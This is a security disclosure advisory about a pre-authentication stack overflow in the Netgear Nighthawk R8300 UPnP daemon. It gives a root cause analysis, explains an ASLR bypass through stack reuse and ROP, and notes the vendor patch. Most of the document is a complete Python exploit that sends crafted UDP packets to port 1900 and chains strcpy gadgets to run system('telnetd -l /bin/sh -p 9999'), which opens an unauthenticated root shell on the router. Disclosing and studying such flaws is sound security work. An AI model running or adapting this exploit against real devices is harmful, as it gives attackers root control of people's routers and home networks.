**SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE**
August 18, 2020 [SSD Disclosure / Noam Rathaus](https://ssd-disclosure.com/author/noamr/) [Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how we exploited an unauthenticated Netgear Nighthawk R8300 vulnerability and gained root access to the device.
**Vulnerability Summary**
The Nighthawk X8 AC5000 (R8300) router released in 2014, is a popular device sold by Netgear with almost 2000 positive reviews on Amazon. A vulnerability in the way the R8300 handles UPNP packets allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the ‘root’ user.
**Credit**
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
**Affected Systems**
Netgear Nighthawk R8300 running firmware versions prior to 1.0.2.134
**Vendor Response**
The vendor has released a patch and an advisory: https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
**Vulnerability Root Cause Analysis**
A vulnerability in the way the R8300 handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.
Below picture is the point that recv input point and vulFunction, we can send data to size 0x1fff:
![](https://images.seebug.org/1598074120302-w331s)
If we look into *vulFunction*, the pointer (0x025E70) is overwritten with the return address of the *strcpy* function. The *strcpy* function has two arguments. arg1 is *dst* buffer, arg2 is *src* buffer and it will perform a copy until it meets the NULL byte. The *dst* buffer local variable is located at the position of *ebp-0x634*. The *src* buffer is under our full control and is only limited by its size to *0x1fff*. By overflowing the *dst* buffer we can control PC value:
![](https://images.seebug.org/1598074149947-w331s)
In order to successfully change the PC value, we need to reach the return part of *vulFunction*. We have to set its value to an existing pointer value that exists in memory (other loaded libraries functions).
![](https://images.seebug.org/1598074167919-w331s)
![](https://images.seebug.org/1598074185151-w331s)
By correctly crafting the data, we obtain control over the PC value:
![](https://images.seebug.org/1598074202980-w331s)
**ASLR Bypassing through Stack Reuse**
The router has the ASLR mitigation turned on, which we can bypass using a ROP Attack. However, we are performing a copy call through the use of **strcpy**, which is sensitive to NULL bytes, which would in turn prevent us to use the ROP attack. Therefore to utilize an address that contains a NULL byte, we will need to use a stack reuse attack.
We will do this by combining two payloads, the composition of first payload is as follows:
s.send('a\x00'+expayload) #expayload is rop gadget
We will be sending a “a\x00” value at the beginning of the payload to avoid triggering the UPNP vulnerability, until our payload is in the the stack.
The second payload will control the PC value and change it to *0x230f0* and trigger the first payload in the stack. *0x230f0* gadget can control stack pointer.
![](https://images.seebug.org/1598074219299-w331s)
The figure below illustrates the overall exploit and payloads:
![](https://images.seebug.org/1598074239081-w331s)
We decided to use the BSS area of *0x9E150* to place our strings that we will later use for exploitation. Using *strcpy* gadget *0x13648* and string gadget in the binary, we can create the exploiting payload and execute *system* gadget *0x1A83C*.
![](https://images.seebug.org/1598074260868-w331s)
![](https://images.seebug.org/1598074284270-w331s)
**Demo**
![](https://images.seebug.org/1598074303343-w331s)
**Exploit**
```
**import** socket
**import** time
**import** sys
**from** *struct* **import** pack
a= *"""*
*# NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130*
*# Date : 2020.03.09*
*# POC : system("telnetd -l /bin/sh -p 9999& ") Execute*
*# Desc : execute telnetd to access router*
*"""*
print a
p32 = **lambda** x: pack("<L", x)
payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''
payload = payload.replace('z3Bz','\xff\xff\x1b\x40') # Need to Existed Address
payload = payload.replace(' AAA ','\xf0\x30\x02\x00') #change eip
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
"""
.text:00013644 MOV R0, R10 ; dest
.text:00013648 MOV R1, R5 ; src
.text:0001364C BL strcpy
.text:00013650 MOV R0, R4
.text:00013654 ADD SP, SP, #0x5C ; '\'
.text:00013658 LDMFD SP!, {R4-R8,R10,PC}
"""
bssBase = *0x9E150* #string bss BASE Address
expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(*0x3F340*) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(*0x13644*) # strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(*0x423D7*) #R5 //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(*0x40CA4* ) #R5 //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(*0x4704A*) #R5 //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(*0x04C281*) #R5 //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(*0x40CEC*) #R5 //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(*0x9CB5*) #R5 //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(*0x41B17*) #R5 //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(*0x03FFC4*) #R5 //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(*0x03FFC4*) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(*0x4A01D*) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(*0x461C1*) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x13648*) #strcpy
print "[*] Make Payload ..."
"""
.text:0001A83C MOV R0, R4 ; command
.text:0001A840 BL system
"""
expayload += 'd'**0x5c*#dummy
expayload += p32(bssBase) #R4
expayload += p32(*0x47398*) #R5
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(*0x1A83C*) #system(string) telnetd -l
s.connect(('239.255.255.250', 1900))
print "[*] Send Proof Of Concept payload"
s.send('a\x00'+expayload)#expayload is rop gadget
s.send(payload)
**def** checkExploit():
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
**try**:
ret = soc.connect(('192.168.1.1',9999))
**return** 1
**except**:
**return** 0
time.sleep(5)
**if** checkExploit():
print "[*] Exploit Success"
print "[*] You can access telnet 192.168.1.1 9999"
**else**:
print "[*] Need to Existed Address cross each other"
print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
print "[*] To exploit reexecute upnpd, description"
print "[*] Access http://192.168.1.1/debug.htm and enable telnet"
print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"
s.close()
print *"""*
*[\*] Done ...*
*"""*
```
暂无评论